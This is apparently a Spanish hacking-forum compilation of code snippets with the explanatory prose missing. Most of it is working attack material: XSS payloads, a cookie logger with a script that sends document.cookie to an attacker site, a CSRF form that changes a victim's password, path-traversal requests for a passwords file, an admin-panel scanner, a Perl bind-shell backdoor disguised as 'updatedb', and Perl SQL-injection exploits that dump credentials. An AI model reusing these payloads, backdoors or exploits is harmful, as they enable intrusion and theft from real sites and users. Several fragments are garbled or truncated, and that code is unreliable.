Language: HTML
<img src="...">

Language: HTML
<img src="http://servidor.com/consultaSQL.php?id=XXX">

Language: PHP
<?php
 
//Verificando la version necesaria
if(!version_compare(substr(phpversion(), 0, 6), '5.2.0', '>=')){
echo "Para poder usar la directiva session.cookie_httponly, se necesita una version de PHP 5.2.0 o mayor";
exit;
}
 
//Verificando que la directiva este ON
if(!ini_get('session.cookie_httponly')){
echo "Active la directiva session.cookie_httponly del php.ini";
exit;
}
 
if(!empty($_POST['text']) || !empty($_COOKIE['text'])){
setcookie('text','Yoyahack', time()+3600, '/ej/','127.0.0.1',false, true);
echo $_POST['text'];
exit;
}
?>
<form name="HttpOnly" action="ej.php" method="POST">
<br>
<textarea  name="text" cols="45" rows="5">
</textarea>
<br>
<input type="submit" value="Enviar">
</form>

setcookie ( Nombre de la cookie, Valor de la cookie, Tiempo de vida, Ruta de la cookie en que funcionara o estará disponible, Dominio en que funcionara la cookie, Si la cookie deberá funcionar en conexiones HTTP Seguras (HTTPS) (Valor Bool), HttpOnly (Valor Bool) )

http://127.0.0.1/ej/ej.php


POST /ej/ej.php HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.8pre) Gecko/20100704 Ubuntu/9.10 (karmic) FireDownload/2.0.1 Namoroka/3.6.8pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://127.0.0.1/ej/ej.php
Cookie: text=Yoyahack
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
text=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

HTTP/1.1 200 OK
Date: Wed, 14 Jul 2010 00:36:22 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.4
Set-Cookie: text=Yoyahack; expires=Wed, 14-Jul-2010 01:36:22 GMT; path=/ej/; domain=127.0.0.1; httponly
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 55
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

text=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

Set-Cookie: text=Yoyahack; expires=Wed, 14-Jul-2010 01:36:22 GMT; path=/ej/; domain=127.0.0.1; httponly

Language: HTML
http://www.web.com/encuesta.php?id=32&puntos=10

Language: PHP
'"><script>alert(5);</script>

Language: PHP
<?
$archivo = $_GET["a"];
if((strtolower(substr($archivo,0,7))=="http://") or (strtolower(substr($archivo,0,8))=="https://") or (strtolower(substr($archivo,0,6))=="ftp://") or (strtolower(substr($archivo,0,1))=="/") or (strstr($archivo,'../')!==false))
{
    echo "GTFO";    
}
else
{
    include($archivo);    
}
?>

Language: PHP
<?
if(empty($username))
{	
	header("location:index.php");
}
$tousername=$username;
$errO=false;
if($username==$ses_username)$errO=true;
?>
<script language="JavaScript">
function checkifvalid(){
if (window.document.myform.subject.value=="")
{
alert("please enter the subject!");
window.document.myform.subject.focus();
return false;
}
if (window.document.myform.message.value=="")
{
alert("please enter the Message!");
window.document.myform.message.focus();
return false;
}
}
</script>
<table width="100%" border="0" align="left" cellpadding="0" cellspacing="0">
  <tr> 
    <td width="7%" height="239" align="center" valign="top"> <div align="center"><br>
        <br>
        <br>
      </div></td>
    <td width="93%" align="left" valign="top"><br>      
      <table width="95%" height="10" border="0" cellpadding="0" cellspacing="0" class="mytable">
        <tr> 
          <td><div align="center"> 
		  <?
		  if(!$errO)
		  {
		  ?>
              <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                <form name="myform" action="index.php?cmd=9" method="post" onsubmit="javascript: return checkifvalid();">
                  <input type="hidden" name="tousername" value="<? print $tousername; ?>">
                  <tr > 
                    <td width="5"  class="header">&nbsp;</td>
                    <td height="20" colspan="2" class="header">Send a message 
                      to <? print $tousername;?> </td>
                  </tr>
                  <tr > 
                    <td height="25" class="normal">&nbsp;</td>
                    <td width="26%" height="25" class="normal">Subject</td>
                    <td width="74%" height="19" class="normal"><input name="subject"  type="text"  class="mytext" id="subject" value="<? print $subject; ?>" size="40"></td>
                  </tr>
                  <tr > 
                    <td width="5" height="25" class="normal">&nbsp;</td>
                    <td height="25" class="normal">Message</td>
                    <td height="19" class="normal"><textarea name="message" cols="40" rows="10" class="mytext"><? print $message; ?></textarea></td>
                  </tr>
                  <tr > 
                    <td width="5" height="25" class="normal">&nbsp;</td>
                    <td height="25" colspan="2" align="center" class="normal"><input type="submit" value="Send Message" name="B1" class="mybutton"></td>
                  </tr>
                </form>
              </table>
			  <?
			  }
			  else
			  {
			  ?>
			  <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                <form name="myform"  method="post" action="index.php" >
                  <input type="hidden" name="photoid2" value="<? print $photoid; ?>">
                  <tr > 
                    <td width="98%" height="19" class="header">You cannot send 
                      a message to yourself!</td>
                  </tr>
                </form>
              </table>
			  <?
			  }
			  ?>
            </div></td>
        </tr>
      </table>
      <br>
    </td>
  </tr>
</table>

Language: PHP
<?
if(empty($ses_username))
{
	$extra="";
	if(isset($repusername))$extra="&repusername=$repusername";
	if(isset($rphid))$extra="&rphid=$rphid";	
	header("location:index.php?cmd=3$extra");
} 
?>

Language: PHP
case 12:$file="postcomment.php";
				$rphid=$phid;
				include("checksession.php");
				if(isset($comment))
				{
					$approved=getSetting("APPROVECOMMENTS");
					$sql="insert into comments(comment,photosid,byusername,approved,postdate) values('$comment',$phid,'$ses_username','$approved',now())";
					newCommentPosted($ses_username,$phid);
					$res=mysql_query($sql);
						$mheading="Comments saved";
						$mmessage="Your comments has been saved!";
						$file="displaymessage.php";					
				}
				break;

Language: HTML
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                <form name="myform" action="index.php?cmd=5" method="post" onsubmit="javascript: return checkifvalid();">
                  <tr > 
                    <td width="5"  class="header">&nbsp;</td>
                    <td width="100%" height="20" colspan="2" class="header"><? print $mheading;?></td>
                  </tr>
                  <tr > 
                    <td width="5" height="25" class="normal">&nbsp;</td>
                    <td height="25" colspan="2" class="normal"><? print $mmessage;?></td>
                  </tr>
                </form>
              </table>

Este es un método global del objeto String que crea una cadena a partir de los
códigos Unicode  que se le pasen como parámetros.

root@yoya-desktop:/# cat /etc/php5/apache2/php.ini|grep magic_quotes_gpc
magic_quotes_gpc = On

Language: PHP
<?php
/*Explotando XSS con magic_quote_gpc ON*/
 
$var = $_POST['form1'];
$var2 = $_POST['form2'];
 
if(!empty($var) && !empty($var2))
{
   echo "El primer valor es: ", $var;
   echo "<br>";
   echo "El segundo valor es: ", $var2;
   exit;
}
?>
<form name="Formulario" action="proc.php" method="POST">
<p>Ingrese el primer parametro</p>
<input name="form1" type="txt" size="30">
<p>Ingrese el Segundo parametro</p>
<input name="form2" type="txt" size="30">
<br>
<input type="submit" value="Enviar">
</form>

El primer valor es: \"Probando \"comillas dobles\"
El segundo valor es: \'Probando comillas simples\'

Language: Perl
#!/usr/bin/perl
#Code by Yoyahack
#yoyahack.blogspot.com
#Undersecurity.net 
 
if(!$ARGV[0]){
print "Usage perl $0 <text>\n";
print "Ex: perl $0 yoyahack\n";
exit;
} 
print "La cadena convertida a ASCII es:\n"; 
$a = '<script>alert("Buenas, esto es un ejemplo")</script>';
print join ',', unpack "U*", $a;
print "\n";
exit;

<script>alert("Buenas, esto es un ejemplo")</script>

60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62))</script>

Language: PHP
<?php
/*Como afecta la directiva magic_quotes_gpc a las cookies*/
if(isset($_COOKIE['xss']))
{
    echo "La cookie del usuario es: <br>".$_COOKIE['xss'];
    exit;
}
 
if(!empty($_POST['campo']))
{ 
    setcookie("xss", $_POST['campo']);
    exit;
}
?>
<form name="Formulario" action="proc.php" method="POST">
<p>Rellene el campo</p>
<br>
<input name="campo" type="txt" size="30">
<br>
<input type="submit" value="Enviar">
</form>

Language: PHP
<?php
if(isset($_COOKIE['xss']))
{
    echo "La cookie del usuario es: <br>".$_COOKIE['xss'];
    exit;
}

%5C%22Cookie+que+se+%5C%27usara+%5C%22

\"Cookie que se \'usara \"

Language: Javascript
javascript:alert("xss")

Language: PHP
<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>

<script>self.location=`e);"target=" _blank">http://TuWeb.com/robador.php?c=`+scape(document.cookie)</script>

Language: Javascript
<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="tuemail@hotmail.com">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">
<script>document.submit();</script>

Quote

http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&mail=minuevomail@hotmail.com&pass=minuevopass

AQUI

<form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
      Contraseña Actual: <input type="text" name="actualcontraseña">
         <input type="submit" name="submit" value="cambiardatos">
     </form>

<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>

<?

include(`config.php`);

     session_start();
     if(isset($_REQUEST[`usuario`]))
          $usuario = $_REQUEST[`usuario`];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST[`email`]))
          $email = $_REQUEST[`email];
     else 
          die("Rellene el campo email");
     if(isset($_REQUEST[`contraseña`]))
          $contraseña = $_REQUEST[`contraseña];
     else 
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST[`emailalternativo`]))
          $emailalternativo = $_REQUEST[`emailalternativo];
     else 
          die("Falta el email alternativo");
    if(isset($_REQUEST[`actualcontraseña`]))
          $actualcontraseña = $_REQUEST[`actualcontraseña];
     else 
          die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = `$usuario`") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data[`contraseñaa`] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?>

CREATE TABLE `myhosting_usuarios` (
  `id` int(11) NOT NULL auto_increment,
  `usuario` varchar(15) NOT NULL,
  `email` varchar(15) NOT NULL,
  `emailalternativo` varchar(15) NOT NULL,
  `contraseña` varchar(150) NOT NULL,
  `contraseñaa` varchar(150) NOT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM;

INSERT INTO `myhosting_usuarios` VALUES (1, `SecurityKill`, `mymail@gmail.com`, `mymail2@gmail.com`, `mypass`, `mypass`);

Language: PHP
============================descarga.php===================================================
 
<?php
 
if (isset($_GET['descargar'])) {
$ar=$_GET['descargar'];
if ($ar == " ") { echo "<h2>Debes seleccionar un archivo</h2>";}
header("Pragma: public");
header("Expires: 0");
header("Content-type: aplication/octet-stream");
header("Content-disposition: attachment; filename=$ar");
header("Content-Length:".filesize("$ar"));
readfile("$filename");
} else {
 echo "<h2>Debes seleccionar un archivo</h2>";
}
 
?>
==============================================================================================

http://127.0.0.1/descarga.php?descargar=

http://127.0.0.1/descarga.php?descargar=index.php

htttp://127.0.0.1/descarga.php?descargar=/datos/contraseñas.txt

Language: SQL
CREATE TABLE `users` (`id` int(10) UNSIGNED NOT NULL 
AUTO_INCREMENT,`name` varchar(50) NOT NULL,`password` varchar(50) 
NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM 
AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 
AUTO_INCREMENT=2 ; 
 
 
INSERT INTO `users` VALUES (1, 'admin','123');

Language: HTML
******************************************enter.htm*****************************************************************
<title>LOGIN PASS</title>
<h1>INSERTA USER Y PASSWORD</h1>
 
 
 
      <form action="abrir.php" method="post">
 
      Usuario:<input type="text" name="usuario" size="20" maxlength="20" />
 
      <br />
 
      Password:<input type="password" name="password" size="10" maxlength="10" />
 
      <br />
 
      <input type="submit" value="Ingresar" />
 
      </form>
 
****************************************************************************************************************************

Language: PHP
**********************************************abrir.php********************************************************************
 
 
 
 
<?php
 
      mysql_connect('localhost','root')or die ('Ha fallado la conexi&oacute;n: '.mysql_error());
 
      mysql_select_db('test')or die ('Error al seleccionar la Base de Datos: '.mysql_error());
 
      function quitar($mensaje)
 
      {
          $nopermitidos = array("'",'\\','<','>',"\"");
      $mensaje = str_replace($nopermitidos, "", $mensaje);
    return $mensaje;
 
      }
 if(trim($HTTP_POST_VARS["usuario"]) != "" && trim($HTTP_POST_VARS["password"]) != "")
      {
          $usuario = strtolower(htmlentities($HTTP_POST_VARS["usuario"], ENT_QUOTES));
      $password = $HTTP_POST_VARS["password"];
 
                   $result = mysql_query("SELECT name,password FROM users WHERE name='$usuario' AND password='$password' ");
 
          if($row = mysql_fetch_array($result)){
 
              if($row["password"] == $password){
 
                  $_SESSION["k_username"] = $row['usuario'];
 
                  echo 'Has sido logueado correctamente '.$_SESSION['k_username'].' <p>';
 
                  /*Ingreso exitoso, ahora sera dirigido a la pagina principal.
                  <SCRIPT LANGUAGE="javascript">
                  location.href = "index.php";
                    </SCRIPT>*/
              }else{
                 echo 'Password incorrecto';
              }
      }else{
             echo 'Usuario no existente en la base de datos';
          }
          mysql_free_result($result);
      }else{
          echo 'Debe especificar un usuario y password';
 
      }
      mysql_close();
 
?>
 
*******************************************************************************************************************

Language: SQL
SELECT name,password FROM users WHERE name='$usuario' AND password='$password'

Language: Ruby
#nAme program = Sniper-Admin
#Version = -------------
#Autor =  El Gran Guason
 
system ('cls')
 
require 'net/http'
 
paths  = "/admin1.html","/login.php","/admin1.php","/admin2.php","/admin2.html","/yonetim.php","/yonetim.html",
"/yonetici.php","/yonetici.html","/adm/","/admin/",
"/admin/account.php","/admin/account.html","/admin/index.php","/admin/index.html","/admin/login.php",
"/admin/login.html","/admin/home.php","/admin/controlpanel.html","/admin/controlpanel.php","/admin.php",
"/admin.html","/admin/cp.php","/admin/cp.html","/cp.php","/cp.html","/administrator/","/administrator/index.html",
"/administrator/index.php","/administrator/login.html","/administrator/login.php","/administrator/account.html",
"/administrator/account.php","/administrator.php","/administrator.html","/login.php","/login.html",
"/modelsearch/login.php","/moderator.php","/moderator.html","/moderator/login.php","/moderator/login.html",
"/moderator/admin.php","/moderator/admin.html","/moderator/","/account.php","/account.html","/controlpanel/",
"/controlpanel.php","/controlpanel.html","/admincontrol.php","/admincontrol.html","/adminpanel.php",
"/adminpanel.html","/admin1.asp","/admin2.asp","/yonetim.asp","/yonetici.asp","/admin/account.asp",
"/admin/index.asp","/admin/login.asp","/admin/home.asp","/admin/controlpanel.asp","/admin.asp","/admin/cp.asp",
"cp.asp","/administrator/index.asp","/administrator/login.asp","/administrator/account.asp","/administrator.asp",
"/login.asp","/modelsearch/login.asp","/moderator.asp","/moderator/login.asp","/moderator/admin.asp","/account.asp",
"/controlpanel.asp","/admincontrol.asp","/adminpanel.asp","/fileadmin/","/fileadmin.php","/fileadmin.asp",
"/fileadmin.html","/administration/","/administration.php","/administration.html","/sysadmin.php","/sysadmin.html",
"/phpmyadmin/","/myadmin/","/sysadmin.asp","/sysadmin/","/ur-admin.asp","/ur-admin.php","/ur-admin.html","/ur-admin/",
"/Server.php","/Server.html","/Server.asp","/Server/","/wp-admin/","/administr8.php","/administr8.html",
"/administr8/","/administr8.asp","/webadmin/","/webadmin.php","/webadmin.asp","/webadmin.html","/administratie/",
"/admins/","/admins.php","/admins.asp","/admins.html","/administrivia/","/Database_Administration/","/WebAdmin/",
"/useradmin/","/sysadmins/","/admin1/","/system-administration/","/administrators/","/pgadmin/","/directadmin/",
"/staradmin/","/ServerAdministrator/","/SysAdmin/","/administer/","/LiveUser_Admin/","/sys-admin/","/typo3/",
"/panel/","/cpanel/","/cPanel/","/cpanel_file/","/platz_login/","/rcLogin/","/blogindex/",
"/formslogin/","/autologin/","/support_login/","/meta_login/","/manuallogin/","/simpleLogin/",
"/loginflat/","/utility_login/","/showlogin/","/memlogin/","/members/","/login-redirect/","/sub-login/",
"/wp-login/","/login1/","/dir-login/","/login_db/","/xlogin/","/smblogin/","/customer_login/","/UserLogin/",
"/login-us/","/acct_login/","/admin_area/","/bigadmin/","/project-admins/","/phppgadmin/","/pureadmin/",
"/sql-admin/","/radmind/","/openvpnadmin/","/wizmysqladmin/","/vadmind/","/ezsqliteadmin/",
"/hpwebjetadmin/","/newsadmin/","/adminpro/","/Lotus_Domino_Admin/","/bbadmin/","/vmailadmin/",
"/Indy_admin/","/ccp14admin/","/irc-macadmin/","/banneradmin/","/sshadmin/","/phpldapadmin/","/macadmin/",
"/administratoraccounts/","/admin4_account/","/admin4_colon/","/radmind-1/","/Super-Admin/","/AdminTools/",
"/cmsadmin/","/SysAdmin2/","/globes_admin/","/cadmins/","/phpSQLiteAdmin/","/navSiteAdmin/","/server_admin_small/",
"logo_sysadmin/","server/","database_administration/","power_user/","system_administration/","ss_vms_admin_sm/";
 
 
 
 
 
 
intro=[
          "+=============================================+",
          "+          Sniper-Admin By Guason              +",
          "+          Buscador de panel de admin             +",
          "+                 Written By Guason                    +",
          "+        Email:guason-cracker[at]hotmail.com       +",
          "+         Blog = guason-cracker.blogspot.com         +",
          "+=============================================+"
          ]
 
def print_intro text
  w="|"
  text.each do |str|
    str.scan(/./) do |c|
        STDOUT.flush
      if w=="|" 
        print "\b"+c +w
        w="/"
      elsif w=="/" 
        print "\b"+c +w
        w="-"  
      elsif w=="-" 
        print "\b"+c +w
        w="\\" 
      else
      print "\b"+c +w
      w="|"
      end
      sleep 0.04
    end
    print "\b "
    puts ""
  end
end
 
print_intro intro
 
 
puts "\nInserta el host a scanear (e.g. example.com):"
host=gets.chomp
 
puts "\nInserta el puerto (e.g. 80):"
port=gets.chomp
 
 
 
print "\n\nOK , PROBANDO CON #{host}\n\n\n"
 
 
 
paths.each do |path|
 
begin
 
http = Net::HTTP.new(host,port)
resp= http.get(path)
w=resp.body 
 
rescue 
 
print "\nNO SE PUDO CONECTAR\n\n"
exit(1);
 
end
 
 
if w=~/User/ ||   w=~ /Username/ ||
   w=~ /Password/ ||
 w=~ /username/ ||
w=~ /password/ ||
 w=~ /user/ ||
w=~ /pass/ ||
 w=~ /User/ ||
w=~ /Pass/ ||
w=~ /USERNAME/ ||
w=~ /PASSWORD/ ||
w=~ /Senha/ ||
w=~ /senha/ ||
w=~ /Personal/ ||
w=~ /Usuario/ ||
w=~ /Clave/ ||
w=~ /Usager/ ||
w=~ /usager/ ||
w=~ /Sing/ ||
w=~ /passe/ ||
w=~ /P\/W/ || 
w=~ /Admin Password/
 
print "[?]Se encontro panel #{path}\n\n"
print "\n\nWritten By Guason || 2009\n\n\n"
system ('pause')
exit(1);
 
end
end

Language: Perl
===================back-Ass================================================#
#Name program = Back-Ass
#Version = 0.1
#Autor = El Gran Guason
#Fucion = Ejecuta shell de acuerdo a OP linux o Win32
 
use Socket;
use IO::Socket;
 
 
sub SO{
	my $SO = $^O;
	if (index($SO,'linux') == '0'){
		return "Linux";
	}else{
		return "Windows";
	    }
}
 
 
$op = SO;
 
if ($op eq "Windows") {
&win32;
}
 
if ($op eq "Linux") {
&linux;
}
 
 
 
 
sub win32 {
 
 exit if fork;
 $0 = "updatedb" . " " x100;
 $SIG{CHLD} = 'IGNORE';
 socket(S, PF_INET, SOCK_STREAM, 0);
 setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
 bind(S, sockaddr_in($port, INADDR_ANY));
 listen(S, 50);
 while(1)
 {
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
 
 
        exec("cmd.exe");
 
 
    }
    close X;
 }
 
 
 
 
 
}
 
sub linux {
 
$port = 11888;
 
 exit if fork;
 $0 = "updatedb" . " " x100;
 $SIG{CHLD} = 'IGNORE';
 socket(S, PF_INET, SOCK_STREAM, 0);
 setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
 bind(S, sockaddr_in($port, INADDR_ANY));
 listen(S, 50);
 while(1)
 {
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec {'/bin/sh'} '-bash' . "\0" x 4;
 
    }
    close X;
 }
 
 
}
 
 
#==========================================================================

Language: Perl
#=============================Connect-Ass==========================================#
#Name program = Connect-Ass
#Version = beta
#Autor = El Gran Guasón
 
 
use IO::Socket;
use Socket;
 
my $host = shift;
 
if (!$host) {
print "\n\t\t\tConnect-ASS by Guason\t\t\t\n\n";
print "\nModo de uso $0 <IP>\n";
print "<IP> Ip de la victima infectada\n";
print "\nWritten by Guason\n\n";
exit 1;
}
 
 
$hoster = ver($host);
 
if ($hoster eq "false") {
print "\nLa IP es incorrecta\n\n";
exit 1;
}
 
$port = "11888";
 
print "\n[?]Conectando con  $host\n\n";
 
sleep 10;
 
system ("telnet $host $port");
 
print "\n[-]$host no esta infectado con back-ass\n";
 
 
########################FUNciones################################################
sub ver {
my $ip = shift;
my $valid_number = '(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])';
my $valid = ($ip =~ m/^$valid_number\.$valid_number\.$valid_number\.$valid_number$/) ? return "ok" : return "false";
}
#######################################################################
#==========================================================================

<?php 
$host = 'localhost'; 
$dbuser = 'root'; 
$dbname = 'test'; 
$db = mysql_connect($host, $dbuser); 
mysql_select_db($dbname,$db); 
$sql = "SELECT * FROM users WHERE id=".$_GET['id']; 
$query = mysql_query($sql); 
if(@mysql_num_rows($query)==0){ 
die('Cagate! :('); 
} 
$result=@mysql_fetch_row($query); 
echo "<h2><center>Nuevo manual<br>Ejemplos<br><br>"; 
echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>"; 
echo "<font color='#FF0000'>username: </font>".$result[1]."<br>"; 
// echo "password: ".$result[2]."<br>"; 
echo "</h2></center>"; 
die();?>

CREATE 
TABLE 
`users` (
`id` int(10) UNSIGNED 
NOT 
NULL 
AUTO_INCREMENT,
`name` varchar(25) NOT 
NULL,
`password` varchar(50) NOT 
NULL,
`country` varchar(20) NOT 
NULL,
PRIMARY 
KEY 
(`id`)




INSERT 
INTO 
`users` VALUES 
(1, 'Guason', '123', 'Argentina');
INSERT 
INTO 
`users` VALUES 
(2, 'Pero', '11', 'Infierno');
INSERT 
INTO 
`users` VALUES 
(3, 'Trinity', '12354', 'Via Lactea');
INSERT 
INTO 
`users` VALUES 
(4, 'Galaxia', 'gaylord', 'Cabaret');

ttp://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users

tp://127.0.0.1/index.php?id=-1+union+select+concat(0x4e554c4c5354415254,name,0x3a,password,0x4e554c4c454e44),2,3,4+from+users

ULLSTARTGuason:123NULLEND

x4e554c4c5354415254 = NULLSTART
0x3a = :
0x4e554c4c454e44 = NULLEND

LWP::Simple;

my $target = $ARGV[0];

unless ($target) { print "\nprimer exploit\n\n"; print "\nmodo de uso = $0 <target>\n" ; exit 1; }

= "-1+union+select+concat(0x4e554c4c5354415254,0x3c62723e,0x5b557365725,0x3d3d3d3d,name,0x3c62723e,0x5b50617373776f72645d,0x3d3d3d3d,password,0x3c62723e,0x4e554c4c454e44),2,3,4+from+users";



$final = $target.$sql;
$contenido = get($final);

print "\n\n[+] Target = $target\n\n";
if ($contenido =~/NULLSTART(.*):(.*)NULLEND/) {
print "[+] Usuario = $1\n";
print "[+] Password = $2\n";
} else {
print "[-] No se encontro nada\n\n";
exit 1;
}



print "\n[ñ] Explotacion finalizada\n";
exit 1;

use LWP::Simple;

my $target = $ARGV[0];
unless ($target) { print "\nprimer exploit\n\n"; print "\nmodo de uso = $0 <target>\n" ; exit 1; }

$sql = "-1+union+select+concat(0x4e554c4c5354415254,name,0x3a,password,0x4e554c4c454e44),2,3,4+from+users";


$final = $target.$sql;
$contenido = get($final);

print "\n\n[+] Target = $target\n\n";
if ($contenido =~/NULLSTART(.*):(.*)NULLEND/) {
print "[+] Usuario = $1\n";
print "[+] Password = $2\n";
} else {
print "[-] No se encontro nada\n\n";
exit 1;
}



print "\n[ñ] Explotacion finalizada\n";
exit 1;